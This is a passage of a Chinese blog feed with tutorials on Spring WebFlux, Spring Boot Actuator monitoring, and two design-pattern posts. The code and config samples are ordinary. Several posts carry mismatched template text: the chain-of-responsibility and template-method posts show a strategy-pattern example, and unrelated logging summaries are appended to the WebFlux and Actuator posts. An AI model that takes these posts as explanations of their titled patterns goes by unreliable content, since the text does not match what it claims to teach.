class="line">Mono&lt;User&gt; user = client.get()</span><br><span class="line">    .uri(<span class="string">&quot;/users/&#123;id&#125;&quot;</span>, <span class="number">1</span>)</span><br><span class="line">    .retrieve()</span><br><span class="line">    .bodyToMono(User.class);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取列表</span></span><br><span class="line">Flux&lt;User&gt; users = client.get()</span><br><span class="line">    .uri(<span class="string">&quot;/users&quot;</span>)</span><br><span class="line">    .retrieve()</span><br><span class="line">    .bodyToFlux(User.class);</span><br></pre></td></tr></table></figure><p>#</p><h2 id="POST-请求"><a href="#POST-请求" class="headerlink" title="POST 请求"></a>POST 请求</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Mono&lt;User&gt; created = client.post()</span><br><span class="line">    .uri(<span class="string">&quot;/users&quot;</span>)</span><br><span class="line">    .bodyValue(newUser)</span><br><span class="line">    .retrieve()</span><br><span class="line">    .bodyToMono(User.class);</span><br></pre></td></tr></table></figure><p>#</p><h2 id="错误处理"><a href="#错误处理" class="headerlink" title="错误处理"></a>错误处理</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Mono&lt;User&gt; user = client.get()</span><br><span class="line">    .uri(<span class="string">&quot;/users/&#123;id&#125;&quot;</span>, <span class="number">1</span>)</span><br><span class="line">    .retrieve()</span><br><span class="line">    .onStatus(HttpStatus::is4xxClientError, response -&gt; </span><br><span class="line">        Mono.error(<span class="keyword">new</span> <span class="title class_">NotFoundException</span>()))</span><br><span class="line">    .onStatus(HttpStatus::is5xxServerError, response -&gt; </span><br><span class="line">        Mono.error(<span class="keyword">new</span> <span class="title class_">ServerException</span>()))</span><br><span class="line">    .bodyToMono(User.class);</span><br></pre></td></tr></table></figure><p>#</p><h2 id="超时和重试"><a href="#超时和重试" class="headerlink" title="超时和重试"></a>超时和重试</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Mono&lt;User&gt; user = client.get()</span><br><span class="line">    .uri(<span class="string">&quot;/users/&#123;id&#125;&quot;</span>, <span class="number">1</span>)</span><br><span class="line">    .retrieve()</span><br><span class="line">    .bodyToMono(User.class)</span><br><span class="line">    .timeout(Duration.ofSeconds(<span class="number">5</span>))</span><br><span class="line">    .retryWhen(Retry.backoff(<span class="number">3</span>, Duration.ofSeconds(<span class="number">1</span>)));</span><br></pre></td></tr></table></figure><h2 id="响应式数据访问"><a href="#响应式数据访问" class="headerlink" title="响应式数据访问"></a>响应式数据访问</h2><p>#</p><h2 id="R2DBC"><a href="#R2DBC" class="headerlink" title="R2DBC"></a>R2DBC</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-data-r2dbc<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserRepository</span> <span class="keyword">extends</span> <span class="title class_">ReactiveCrudRepository</span>&lt;User, Long&gt; &#123;</span><br><span class="line">    Flux&lt;User&gt; <span class="title function_">findByAgeGreaterThan</span><span class="params">(<span class="type">int</span> age)</span>;</span><br><span class="line">    Mono&lt;User&gt; <span class="title function_">findByUsername</span><span class="params">(String username)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="ReactiveMongoRepository"><a href="#ReactiveMongoRepository" class="headerlink" title="ReactiveMongoRepository"></a>ReactiveMongoRepository</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">OrderRepository</span> <span class="keyword">extends</span> <span class="title class_">ReactiveMongoRepository</span>&lt;Order, String&gt; &#123;</span><br><span class="line">    Flux&lt;Order&gt; <span class="title function_">findByStatus</span><span class="params">(String status)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="SSE（Server-Sent-Events）"><a href="#SSE（Server-Sent-Events）" class="headerlink" title="SSE（Server-Sent Events）"></a>SSE（Server-Sent Events）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SseController</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@GetMapping(value = &quot;/events&quot;, produces = MediaType.TEXT_EVENT_STREAM_VALUE)</span></span><br><span class="line">    <span class="keyword">public</span> Flux&lt;ServerSentEvent&lt;String&gt;&gt; <span class="title function_">streamEvents</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Flux.interval(Duration.ofSeconds(<span class="number">1</span>))</span><br><span class="line">            .map(seq -&gt; ServerSentEvent.&lt;String&gt;builder()</span><br><span class="line">                .id(String.valueOf(seq))</span><br><span class="line">                .event(<span class="string">&quot;message&quot;</span>)</span><br><span class="line">                .data(<span class="string">&quot;Event &quot;</span> + seq)</span><br><span class="line">                .build());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="适用场景"><a href="#适用场景" class="headerlink" title="适用场景"></a>适用场景</h2><table><thead><tr><th>场景</th><th>推荐</th></tr></thead><tbody><tr><td>高并发网关/代理</td><td>WebFlux</td></tr><tr><td>流式数据处理</td><td>WebFlux</td></tr><tr><td>长连接推送（SSE）</td><td>WebFlux</td></tr><tr><td>传统 CRUD</td><td>MVC</td></tr><tr><td>复杂业务逻辑</td><td>MVC</td></tr><tr><td>团队熟悉阻塞编程</td><td>MVC</td></tr></tbody></table><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>WebFlux 适合：</p><ul><li>高并发、低延迟场景</li><li>流式数据推送</li><li>微服务网关</li></ul><p>WebFlux 不适合：</p><ul><li>阻塞 JDBC（用 R2DBC 替代）</li><li>复杂事务场景</li><li>团队缺乏响应式经验</li></ul><p>响应式编程是未来的趋势，但需要根据实际场景选择合适的技术栈。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>日志级别设置：根据环境设置合适的级别</p></li><li><p>日志格式配置：添加 traceId 便于链路追踪</p></li><li><p>日志输出：控制台输出和文件输出的配置</p></li><li><p>日志归档：设置滚动策略和保留时间</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>责任链模式在审批和过滤器中的应用</title>
      <link href="//ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/"/>
      <url>//ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="责任链模式在审批和过滤器中的应用"><a href="#责任链模式在审批和过滤器中的应用" class="headerlink" title="责任链模式在审批和过滤器中的应用"></a>责任链模式在审批和过滤器中的应用</h1><p>责任链模式在审批和过滤器中应用广泛。本文讲它的实现方式和适用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SpringBoot Actuator监控端点</title>
      <link href="//springboot-actuator-jian-kong-duan-dian/"/>
      <url>//springboot-actuator-jian-kong-duan-dian/</url>
      
        <content type="html"><![CDATA[<h1 id="SpringBoot-Actuator监控端点"><a href="#SpringBoot-Actuator监控端点" class="headerlink" title="SpringBoot Actuator监控端点"></a>SpringBoot Actuator监控端点</h1><p>Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。</p><h2 id="引入依赖"><a href="#引入依赖" class="headerlink" title="引入依赖"></a>引入依赖</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-actuator<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="常用端点"><a href="#常用端点" class="headerlink" title="常用端点"></a>常用端点</h2><table><thead><tr><th>端点</th><th>路径</th><th>说明</th></tr></thead><tbody><tr><td>health</td><td>/actuator/health</td><td>健康检查</td></tr><tr><td>info</td><td>/actuator/info</td><td>应用信息</td></tr><tr><td>metrics</td><td>/actuator/metrics</td><td>指标列表</td></tr><tr><td>metrics/jvm.memory.used</td><td>/actuator/metrics/jvm.memory.used</td><td>JVM 内存使用</td></tr><tr><td>env</td><td>/actuator/env</td><td>环境属性</td></tr><tr><td>beans</td><td>/actuator/beans</td><td>所有 Bean</td></tr><tr><td>loggers</td><td>/actuator/loggers</td><td>日志级别</td></tr><tr><td>threaddump</td><td>/actuator/threaddump</td><td>线程 dump</td></tr><tr><td>heapdump</td><td>/actuator/heapdump</td><td>堆 dump</td></tr><tr><td>mappings</td><td>/actuator/mappings</td><td>URL 映射</td></tr><tr><td>httptrace</td><td>/actuator/httptrace</td><td>HTTP 请求追踪</td></tr></tbody></table><h2 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">management:</span></span><br><span class="line">  <span class="attr">server:</span></span><br><span class="line">    <span class="attr">port:</span> <span class="number">8081</span>  <span class="comment"># 独立端口</span></span><br><span class="line">  </span><br><span class="line">  <span class="attr">endpoints:</span></span><br><span class="line">    <span class="attr">web:</span></span><br><span class="line">      <span class="attr">exposure:</span></span><br><span class="line">        <span class="attr">include:</span> <span class="string">health,info,metrics,prometheus</span>  <span class="comment"># 暴露的端点</span></span><br><span class="line">        <span class="attr">exclude:</span> <span class="string">env,beans</span>  <span class="comment"># 排除的端点</span></span><br><span class="line">      <span class="attr">base-path:</span> <span class="string">/actuator</span></span><br><span class="line">  </span><br><span class="line">  <span class="attr">endpoint:</span></span><br><span class="line">    <span class="attr">health:</span></span><br><span class="line">      <span class="attr">show-details:</span> <span class="string">when_authorized</span>  <span class="comment"># always / never / when_authorized</span></span><br><span class="line">      <span class="attr">probes:</span></span><br><span class="line">        <span class="attr">enabled:</span> <span class="literal">true</span>  <span class="comment"># Kubernetes 探针</span></span><br><span class="line">    <span class="attr">metrics:</span></span><br><span class="line">      <span class="attr">enabled:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">loggers:</span></span><br><span class="line">      <span class="attr">enabled:</span> <span class="literal">true</span></span><br><span class="line">  </span><br><span class="line">  <span class="attr">metrics:</span></span><br><span class="line">    <span class="attr">export:</span></span><br><span class="line">      <span class="attr">prometheus:</span></span><br><span class="line">        <span class="attr">enabled:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure><h2 id="健康检查"><a href="#健康检查" class="headerlink" title="健康检查"></a>健康检查</h2><p>#</p><h2 id="内置-HealthIndicator"><a href="#内置-HealthIndicator" class="headerlink" title="内置 HealthIndicator"></a>内置 HealthIndicator</h2><table><thead><tr><th>Indicator</th><th>检查内容</th></tr></thead><tbody><tr><td>DataSourceHealthIndicator</td><td>数据库连接</td></tr><tr><td>RedisHealthIndicator</td><td>Redis 连接</td></tr><tr><td>DiskSpaceHealthIndicator</td><td>磁盘空间</td></tr><tr><td>RabbitHealthIndicator</td><td>RabbitMQ</td></tr><tr><td>ElasticsearchHealthIndicator</td><td>ES 集群</td></tr></tbody></table><p>#</p><h2 id="自定义-HealthIndicator"><a href="#自定义-HealthIndicator" class="headerlink" title="自定义 HealthIndicator"></a>自定义 HealthIndicator</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CustomServiceHealthIndicator</span> <span class="keyword">implements</span> <span class="title class_">HealthIndicator</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> CustomService customService;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Health <span class="title function_">health</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            customService.ping();</span><br><span class="line">            <span class="keyword">return</span> Health.up()</span><br><span class="line">                .withDetail(<span class="string">&quot;service&quot;</span>, <span class="string">&quot;custom&quot;</span>)</span><br><span class="line">                .withDetail(<span class="string">&quot;responseTime&quot;</span>, <span class="string">&quot;10ms&quot;</span>)</span><br><span class="line">                .build();</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">return</span> Health.down()</span><br><span class="line">                .withDetail(<span class="string">&quot;service&quot;</span>, <span class="string">&quot;custom&quot;</span>)</span><br><span class="line">                .withDetail(<span class="string">&quot;error&quot;</span>, e.getMessage())</span><br><span class="line">                .build();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="健康检查分组"><a href="#健康检查分组" class="headerlink" title="健康检查分组"></a>健康检查分组</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">management:</span></span><br><span class="line">  <span class="attr">endpoint:</span></span><br><span class="line">    <span class="attr">health:</span></span><br><span class="line">      <span class="attr">group:</span></span><br><span class="line">        <span class="attr">readiness:</span></span><br><span class="line">          <span class="attr">include:</span> <span class="string">db,</span> <span class="string">redis,</span> <span class="string">diskSpace</span></span><br><span class="line">        <span class="attr">liveness:</span></span><br><span class="line">          <span class="attr">include:</span> <span class="string">ping</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8081/actuator/health/readiness</span><br><span class="line">curl http://localhost:8081/actuator/health/liveness</span><br></pre></td></tr></table></figure><h2 id="指标监控（Micrometer）"><a href="#指标监控（Micrometer）" class="headerlink" title="指标监控（Micrometer）"></a>指标监控（Micrometer）</h2><p>#</p><h2 id="内置指标"><a href="#内置指标" class="headerlink" title="内置指标"></a>内置指标</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看所有指标</span></span><br><span class="line">curl http://localhost:8081/actuator/metrics</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看具体指标</span></span><br><span class="line">curl http://localhost:8081/actuator/metrics/jvm.memory.used</span><br><span class="line">curl http://localhost:8081/actuator/metrics/http.server.requests</span><br></pre></td></tr></table></figure><p>#</p><h2 id="自定义指标"><a href="#自定义指标" class="headerlink" title="自定义指标"></a>自定义指标</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Counter orderCounter;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Timer orderTimer;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Gauge queueGauge;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">queueSize</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>(<span class="number">0</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">OrderService</span><span class="params">(MeterRegistry meterRegistry)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.orderCounter = Counter.builder(<span class="string">&quot;orders.created&quot;</span>)</span><br><span class="line">            .description(<span class="string">&quot;创建订单数&quot;</span>)</span><br><span class="line">            .register(meterRegistry);</span><br><span class="line">        </span><br><span class="line">        <span class="built_in">this</span>.orderTimer = Timer.builder(<span class="string">&quot;orders.process.time&quot;</span>)</span><br><span class="line">            .description(<span class="string">&quot;订单处理时间&quot;</span>)</span><br><span class="line">            .register(meterRegistry);</span><br><span class="line">        </span><br><span class="line">        <span class="built_in">this</span>.queueGauge = Gauge.builder(<span class="string">&quot;orders.queue.size&quot;</span>, queueSize, AtomicInteger::get)</span><br><span class="line">            .description(<span class="string">&quot;订单队列长度&quot;</span>)</span><br><span class="line">            .register(meterRegistry);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">()</span> &#123;</span><br><span class="line">        orderTimer.record(() -&gt; &#123;</span><br><span class="line">            <span class="comment">// 处理订单</span></span><br><span class="line">            orderCounter.increment();</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="Prometheus-集成"><a href="#Prometheus-集成" class="headerlink" title="Prometheus 集成"></a>Prometheus 集成</h2><p>#</p><h2 id="引入依赖-1"><a href="#引入依赖-1" class="headerlink" title="引入依赖"></a>引入依赖</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>io.micrometer<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>micrometer-registry-prometheus<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="查看指标"><a href="#查看指标" class="headerlink" title="查看指标"></a>查看指标</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8081/actuator/prometheus</span><br></pre></td></tr></table></figure><p>#</p><h2 id="Prometheus-配置"><a href="#Prometheus-配置" class="headerlink" title="Prometheus 配置"></a>Prometheus 配置</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># prometheus.yml</span></span><br><span class="line"><span class="attr">scrape_configs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">job_name:</span> <span class="string">&#x27;spring-boot&#x27;</span></span><br><span class="line">    <span class="attr">metrics_path:</span> <span class="string">&#x27;/actuator/prometheus&#x27;</span></span><br><span class="line">    <span class="attr">static_configs:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">targets:</span> [<span class="string">&#x27;localhost:8081&#x27;</span>]</span><br></pre></td></tr></table></figure><h2 id="自定义端点"><a href="#自定义端点" class="headerlink" title="自定义端点"></a>自定义端点</h2><p>#</p><h2 id="Endpoint"><a href="#Endpoint" class="headerlink" title="@Endpoint"></a>@Endpoint</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="meta">@Endpoint(id = &quot;custom&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CustomEndpoint</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@ReadOperation</span></span><br><span class="line">    <span class="keyword">public</span> Map&lt;String, Object&gt; <span class="title function_">read</span><span class="params">()</span> &#123;</span><br><span class="line">        Map&lt;String, Object&gt; result = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        result.put(<span class="string">&quot;status&quot;</span>, <span class="string">&quot;ok&quot;</span>);</span><br><span class="line">        result.put(<span class="string">&quot;timestamp&quot;</span>, System.currentTimeMillis());</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@WriteOperation</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">write</span><span class="params">(<span class="meta">@Selector</span> String name, <span class="meta">@Nullable</span> String value)</span> &#123;</span><br><span class="line">        <span class="comment">// 写操作</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@DeleteOperation</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">delete</span><span class="params">(<span class="meta">@Selector</span> String name)</span> &#123;</span><br><span class="line">        <span class="comment">// 删除操作</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="访问"><a href="#访问" class="headerlink" title="访问"></a>访问</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># GET</span></span><br><span class="line">curl http://localhost:8081/actuator/custom</span><br><span class="line"></span><br><span class="line"><span class="comment"># POST</span></span><br><span class="line">curl -X POST http://localhost:8081/actuator/custom/name -d <span class="string">&quot;value=test&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># DELETE</span></span><br><span class="line">curl -X DELETE http://localhost:8081/actuator/custom/name</span><br></pre></td></tr></table></figure><h2 id="安全配置"><a href="#安全配置" class="headerlink" title="安全配置"></a>安全配置</h2><p>#</p><h2 id="Spring-Security"><a href="#Spring-Security" class="headerlink" title="Spring Security"></a>Spring Security</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ActuatorSecurityConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> SecurityFilterChain <span class="title function_">filterChain</span><span class="params">(HttpSecurity http)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        http.securityMatcher(<span class="string">&quot;/actuator/**&quot;</span>)</span><br><span class="line">            .authorizeHttpRequests(auth -&gt; auth</span><br><span class="line">                .requestMatchers(<span class="string">&quot;/actuator/health&quot;</span>, <span class="string">&quot;/actuator/info&quot;</span>).permitAll()</span><br><span class="line">                .requestMatchers(<span class="string">&quot;/actuator/**&quot;</span>).hasRole(<span class="string">&quot;ADMIN&quot;</span>)</span><br><span class="line">                .anyRequest().authenticated()</span><br><span class="line">            )</span><br><span class="line">            .httpBasic();</span><br><span class="line">        <span class="keyword">return</span> http.build();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="防火墙限制"><a href="#防火墙限制" class="headerlink" title="防火墙限制"></a>防火墙限制</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 只开放特定 IP</span></span><br><span class="line">iptables -A INPUT -p tcp --dport 8081 -s 10.0.0.0/8 -j ACCEPT</span><br><span class="line">iptables -A INPUT -p tcp --dport 8081 -j DROP</span><br></pre></td></tr></table></figure><h2 id="Kubernetes-探针"><a href="#Kubernetes-探针" class="headerlink" title="Kubernetes 探针"></a>Kubernetes 探针</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">app</span></span><br><span class="line">      <span class="attr">livenessProbe:</span></span><br><span class="line">        <span class="attr">httpGet:</span></span><br><span class="line">          <span class="attr">path:</span> <span class="string">/actuator/health/liveness</span></span><br><span class="line">          <span class="attr">port:</span> <span class="number">8081</span></span><br><span class="line">        <span class="attr">initialDelaySeconds:</span> <span class="number">30</span></span><br><span class="line">        <span class="attr">periodSeconds:</span> <span class="number">10</span></span><br><span class="line">      <span class="attr">readinessProbe:</span></span><br><span class="line">        <span class="attr">httpGet:</span></span><br><span class="line">          <span class="attr">path:</span> <span class="string">/actuator/health/readiness</span></span><br><span class="line">          <span class="attr">port:</span> <span class="number">8081</span></span><br><span class="line">        <span class="attr">initialDelaySeconds:</span> <span class="number">5</span></span><br><span class="line">        <span class="attr">periodSeconds:</span> <span class="number">5</span></span><br></pre></td></tr></table></figure><h2 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h2><table><thead><tr><th>实践</th><th>说明</th></tr></thead><tbody><tr><td>独立端口</td><td>management.server.port 单独设置</td></tr><tr><td>安全加固</td><td>/actuator 路径需要认证</td></tr><tr><td>最小暴露</td><td>只暴露必要的端点</td></tr><tr><td>健康检查</td><td>自定义业务健康检查</td></tr><tr><td>指标命名</td><td>使用 dot 命名法：orders.created</td></tr></tbody></table><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Spring Boot Actuator 提供了完善的生产监控能力：</p><ol><li><strong>健康检查</strong>： readiness / liveness 探针</li><li><strong>指标收集</strong>：Micrometer 统一指标</li><li><strong>端点暴露</strong>：按需暴露管理端点</li><li><strong>Prometheus</strong>：云原生监控集成</li></ol><p>合理使用 Actuator，可以大幅提升系统的可观测性。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>日志级别设置：根据环境设置合适的级别</p></li><li><p>日志格式配置：添加 traceId 便于链路追踪</p></li><li><p>日志输出：控制台输出和文件输出的配置</p></li><li><p>日志归档：设置滚动策略和保留时间</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>模板方法模式适合流程固定的业务</title>
      <link href="//mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/"/>
      <url>//mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="模板方法模式适合流程固定的业务"><a href="#模板方法模式适合流程固定的业务" class="headerlink" title="模板方法模式适合流程固定的业务"></a>模板方法模式适合流程固定的业务</h1><p>模板方法模式适合流程固定但细节不同的业务。本文讲它的实现和应用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title 